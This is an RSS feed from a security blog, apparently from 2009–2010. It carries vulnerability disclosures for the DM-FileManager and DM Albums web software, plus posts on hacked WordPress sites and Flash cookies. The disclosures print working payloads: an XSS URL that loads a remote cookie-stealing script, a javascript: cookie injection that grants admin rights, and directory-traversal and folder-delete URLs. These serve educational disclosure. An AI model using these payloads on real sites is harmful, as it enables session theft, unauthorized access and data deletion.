style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="/wp-content/blogs.dir/1/files/2010/05/wordpress-blackhat.png" style="float: left;padding-right: 15px" height="150" width="150" />By now, I&#8217;m sure we have all heard about the numerous WordPress sites that have been hacked on several of the major hosting providers.  From all of the reports so far, no one can seem to figure out what the problem is or how the breaches are happening.</p><p>Is the problem a server misconfiguration, outdated WordPress blog, weak passwords or a serious bug in WordPress itself?</p><p>If your site has been hacked and you have access to the access_logs, post them along with any other relevant information that you have and as a community let&#8217;s go through the information to see if we can find the problem.</p><div
class="shr-publisher-441"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/05/441/wordpress-sites-hacked-in-bulk/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>DM-FileManager 3.9.9 XSS Vulnerability</title><link>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/</link> <comments>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/#comments</comments> <pubDate>Sun, 31 Jan 2010 03:03:16 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[XSS]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=395</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>DM-FileManager 3.9.9 and below is vulnerable to XSS via the message variable not being properly sanitized.</p><p>This example shows nDarkness.com in an iframe within the login page:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">
http://localhost/~safety/dm-filemanager/login.php?referrer=/&amp;message=&lt;p align=center&gt;&lt;iframe src=http://ndarkness.com width=100% height=800&gt;&lt;/iframe&gt;&lt;/p&gt;
</pre><p>Here is a url encoded version:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?referrer=/&#038;message=%3C%70%20%61%6C%69%67%6E%3D%63%65%6E%74%65%72%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6E%64%61%72%6B%6E%65%73%73%2E%63%6F%6D%20%77%69%64%74%68%3D%31%30%30%25%20%68%65%69%67%68%74%3D%38%30%30%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%70%3E
</pre><p>and one step farther is the cookie stealer script:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">
http://localhost/~safety/dm-filemanager/login.php?referrer=/&amp;message=&lt;SCRIPT SRC=http://www.ndarkness.com/get-cookie.js&gt;&lt;/SCRIPT&gt;
</pre><p>Here is a url encoded version:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?message=%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%62%6C%6F%67%2E%6E%64%61%72%6B%6E%65%73%73%2E%63%6F%6D%2F%67%65%74%2D%63%6F%6F%6B%69%65%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E
</pre><p>A common exploit for this would be to make up a bug report and alert the site owner of the situation in the hopes that they were logged in when they clicked the link above.  The next step would be to use session hijacking to steal the user&#8217;s session.</p><p>Another option is to call the delete folder ajax.php command and let the user delete directories off of their site.</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?referrer=/&#038;message=http://localhost/~safety/dm-filemanager/ajax.php?currdir=/safety/Sites/wp/&#038;rmdir=yes&#038;folder=/safety/Sites/wp/wp-admin&#038;dir=wp-admin
</pre><p><a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> users should not follow untrusted links and should upgrade to the latest version.</p><div
class="shr-publisher-395"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>DM-FileManager 3.9.6 Cookie Injection and Authorization Bypass Vulnerability</title><link>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/</link> <comments>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/#comments</comments> <pubDate>Wed, 09 Dec 2009 23:36:07 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Cookie Injection]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Vulnerability]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=318</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>The first major <a
href="http://www.ndarkness.com/225/wordpress-dm-albums-version-2-0-critical-vulnerability/" target="_blank">issue</a> we found was with <a
href="http://www.dutchmonkey.com/?file=/products-dm-albums.html" target="_blank">DM-Albums</a> version 2.0.  After reviewing this software and helping to add greater support for WPMU installations, we moved on to <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-FileManager</a> version 3.9.6.  The fist major issue we found with this software prompted us to take a deeper look at the authorization model used by this file manager software.  Below is the vulnerable code and the method used to exploit it.  Please be aware that this has since been fixed and is no longer vulnerable.</p><p>I discovered that cookie variables were being used to determine a users ability to access certain features of the software.  The cookies I found that mattered were:</p><pre class="brush: jscript; highlight: [1]; title: ; notranslate">
GROUP=ADMINISTRATORS; GROUPID=1;
</pre><p>The group id cookie gives you the admin.php button (footer.php, line 49) &#8211; <em>Not necessary but it was a start</em>.</p><pre class="brush: php; first-line: 49; gutter: true; highlight: [49]; title: ; notranslate">
if($GROUPID == 1)
{
	print(&quot; &lt;a href=\&quot;admin.php\&quot; class=\&quot;admin\&quot;&gt;&lt;img src=\&quot;ui/$USERINTERFACE/png/admin.png\&quot; border=\&quot;0\&quot; height=\&quot;15\&quot;/&gt;&lt;/a&gt; &quot;);
}
</pre><p>Being in the administrator group (admin.php, line 116) lets you use the admin.php page.</p><pre class="brush: php; first-line: 116; gutter: true; highlight: [116]; title: ; notranslate">
if($GROUP != &quot;ADMINISTRATORS&quot;) redirect(&quot;/?currdir=$currdir&quot;);
</pre><p>To exploit this we used javascript injection.  From the log in page I entered the following in the address bar and reloaded the page:</p><pre class="brush: jscript; highlight: [1]; title: ; notranslate">
javascript:void(document.cookie=&quot;GROUP=ADMINISTRATORS&quot;);void(document.cookie=&quot;GROUPID=1&quot;);
</pre><p>When the page reloaded, the admin button was in the footer of the page and it allowed me to use the admin.php page.  Once in the admin interface you have full control of the file manager software and can for example, change the admins email address to yours and use the forgot password feature to receive the admins unencrypted password (more on this issue in future posts).</p><p>All <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-FileManager</a> users are strongly encouraged to upgrade their software to the latest version.</p><div
class="shr-publisher-318"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>WordPress &#8211; DM Albums Version 2.0 Critical Vulnerability</title><link>http://www.ndarkness.com/2009/10/225/wordpress-dm-albums-version-2-0-critical-vulnerability/</link> <comments>http://www.ndarkness.com/2009/10/225/wordpress-dm-albums-version-2-0-critical-vulnerability/#comments</comments> <pubDate>Thu, 22 Oct 2009 02:49:23 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[DM-Albums]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[WordPress]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=225</guid> <description><![CDATA[The latest version of DM Albums was released on 10/21/2009 to all WordPress users and it contains a serious flaw that can allow an attacker to remotely delete any file or folder they wish. The author has been notified of the problem and I have listed a work around below to prevent directory traversal. After [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F225%2Fwordpress-dm-albums-version-2-0-critical-vulnerability%2F' data-shr_title='WordPress+-+DM+Albums+Version+2.0+Critical+Vulnerability'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F225%2Fwordpress-dm-albums-version-2-0-critical-vulnerability%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F225%2Fwordpress-dm-albums-version-2-0-critical-vulnerability%2F' data-shr_title='WordPress+-+DM+Albums+Version+2.0+Critical+Vulnerability'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F225%2Fwordpress-dm-albums-version-2-0-critical-vulnerability%2F' data-shr_title='WordPress+-+DM+Albums+Version+2.0+Critical+Vulnerability'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The latest version of <a
href="http://www.dutchmonkey.com/?file=products/dm-albums/dm-albums.html" rel="nofollow" target="_blank">DM Albums</a> was released on 10/21/2009 to all WordPress users and it contains a serious flaw that can allow an attacker to remotely delete any file or folder they wish.  The author has been notified of the problem and I have listed a work around below to prevent directory traversal.</p><p>After upgrading to the latest version of DM Albums I was playing with the new features and noticed the function to delete albums.  I dug into the code located at wp-content/plugins/dm-albums/wp-dm-albums-ajax.php and found that there is no check to see if someone has used directory traversal.  This means that anyone can delete files or directories outside of the upload directory.</p><p>Example:</p><ul
style="background-color: #f8f8f8"><p>http://someblogsite/wp-content/plugins/dm-albums/wp-dm-albums-ajax.php?delete_album=../../../public_html</p></ul><p>The vulnerable section that allows this to take place is:</p><ul
style="background-color: #f8f8f8"> if(isset($_GET["delete_album"]) &amp;&amp; !empty($_GET["delete_album"]) &amp;&amp; strlen($_GET["delete_album"]) &gt; 0)<br
/> {<br
/> //delete the album directory<br
/> dm_get_album_delete($DM_UPLOAD_DIRECTORY . $_GET["delete_album"]);<br
/> }</ul><p>In this code there is no check to see what is contained in the GET variable and you don&#8217;t even need to be logged in to delete files.</p><p>Below is a quick and dirty work around to prevent the problem and I would suspect there will be more checks to ensure that user input is sanitized in the near future.  This work around will not prevent malicious users from deleting your albums but it will keep folders outside of the upload directory safe.</p><ul
style="background-color: #f8f8f8"> if(isset($_GET["delete_album"]) &amp;&amp; !empty($_GET["delete_album"]) &amp;&amp; strlen($_GET["delete_album"]) &gt; 0)<br
/> {<br
/> //remove the / character from user input<br
/> $_GET["delete_album"] = str_replace(&#8220;/&#8221;, &#8220;&#8221;, $_GET["delete_album"]);</p><p> //delete the album directory<br
/> dm_get_album_delete($DM_UPLOAD_DIRECTORY . $_GET["delete_album"]);<br
/> }</ul><p>Once I hear back from the author I will update this post to let everyone know the outcome.</p><p><em>Update: <strong>A new release, v2.0.1, with the above mentioned work around has been released.  We should also expect to see another update in the next few days that will employ more security checks and some upgrades for WordPress multi user environments as well.</strong></em></p><div
class="shr-publisher-225"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/10/225/wordpress-dm-albums-version-2-0-critical-vulnerability/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Flash Cookies and What You Don&#8217;t Know</title><link>http://www.ndarkness.com/2009/10/62/flash-cookies-and-what-you-dont-know/</link> <comments>http://www.ndarkness.com/2009/10/62/flash-cookies-and-what-you-dont-know/#comments</comments> <pubDate>Sun, 11 Oct 2009 00:48:06 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Mac OS X]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Flash]]></category> <category><![CDATA[Flash Cookies]]></category> <category><![CDATA[Mac]]></category> <category><![CDATA[XP]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=62</guid> <description><![CDATA[If you have been browsing the internet for any period of time, I&#8217;m sure you have heard of cookies. Even though you may not be entirely sure what they do, you certainly know how to delete them. Right? Cookies are files websites save on your computer that contain information about you. There are several legitimate [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F62%2Fflash-cookies-and-what-you-dont-know%2F' data-shr_title='Flash+Cookies+and+What+You+Don%27t+Know'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F62%2Fflash-cookies-and-what-you-dont-know%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F62%2Fflash-cookies-and-what-you-dont-know%2F' data-shr_title='Flash+Cookies+and+What+You+Don%27t+Know'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F10%2F62%2Fflash-cookies-and-what-you-dont-know%2F' data-shr_title='Flash+Cookies+and+What+You+Don%27t+Know'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2009/10/cookies.jpg" alt="Apple Snow Leopard" style="padding-right: 10px;float: left;vertical-align: text-top" />If you have been browsing the internet for any period of time, I&#8217;m sure you have heard of cookies.  Even though you may not be entirely sure what they do, you certainly know how to delete them.  Right?</p><p>Cookies are files websites save on your computer that contain information about you.  There are several legitimate purposes for these files such as remembering your login information so you don&#8217;t have to sign in every time you visit a site, keeping up with cart information as you shop online and in some cases online security such as banking sites.</p><p>With the good also comes the bad.  A quick search on Google for tracking cookies will return page after page of articles on this topic.  A tracking cookie will monitor your movement around the internet and will phone home to let its authors know what you are doing online.  With this information they will taylor their advertising on affiliate sites so that you only get ads for what they believe interests you or they will sale this information to other advertisers.</p><p><em>&#8220;So what&#8217;s the big deal?  My browser is set up to delete cookies at regular intervals and I don&#8217;t allow them from third party sites.&#8221;</em></p><p>Well here is a little fact that you may not know.  The same technology that powers streaming video, online games, and animated movies, has the ability to set these cookies as well.  The technology I am referring to is the flash plugin, currently developed by Adobe.  These &#8220;special&#8221; cookies are not created or treated the same way as the cookies that we have all come to know and love.  In fact your browser has, on its own, no control over these cookies at all.</p><p>To illustrate this point, clear your browser cookies and then take a look in the following location(s):</p><ul
style="background-color: #f8f8f8"><li>Windows: Under your current user&#8217;s Application Data directory, click on Macromedia\Flash Player\#SharedObjects and Macromedia\Flash Player\macromedia.com\support\flashplayer\sys.</li><p></p><li>Mac OS X: ~/Library/Preferences/Macromedia/Flash Player/#SharedObjects/[package ID of your app]/ and ~/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/</li><p></p><li>GNU-Linux: ~/.macromedia</li></ul><p>Using your browser to clear cookies had no effect whatsoever on the flash cookies.  That possibly and probably means that your actions are still being tracked as you surf the net.  What&#8217;s more, flash cookies have the ability to restore the normal cookies that your browser just deleted.</p><p><em>&#8220;So what can I do about these cookies?  You said earlier that my browser on its own could not delete these cookies, what does that mean?&#8221;</em></p><p>A developer going by the name of NettiCat, has developed an addon for <a
href="http://www.mozilla.com/en-US/firefox/personal.html">Firefox</a> called <a
href="https://addons.mozilla.org/en-US/firefox/addon/6623">Better Privacy</a> that will do the dirty work for you.  This addon allows you to clear these cookies when you open or close your browser, at regular intervals and manually.</p><p>Now feel free to go trash those stale cookies and be on the lookout for them popping up again.</p><div
class="shr-publisher-62"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/10/62/flash-cookies-and-what-you-dont-know/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 11/37 queries in 0.273 seconds using disk: basic
Object Caching 1415/1506 objects using disk: basic

Served from: www.ndarkness.com @ 2012-05-21 07:02:14 -->
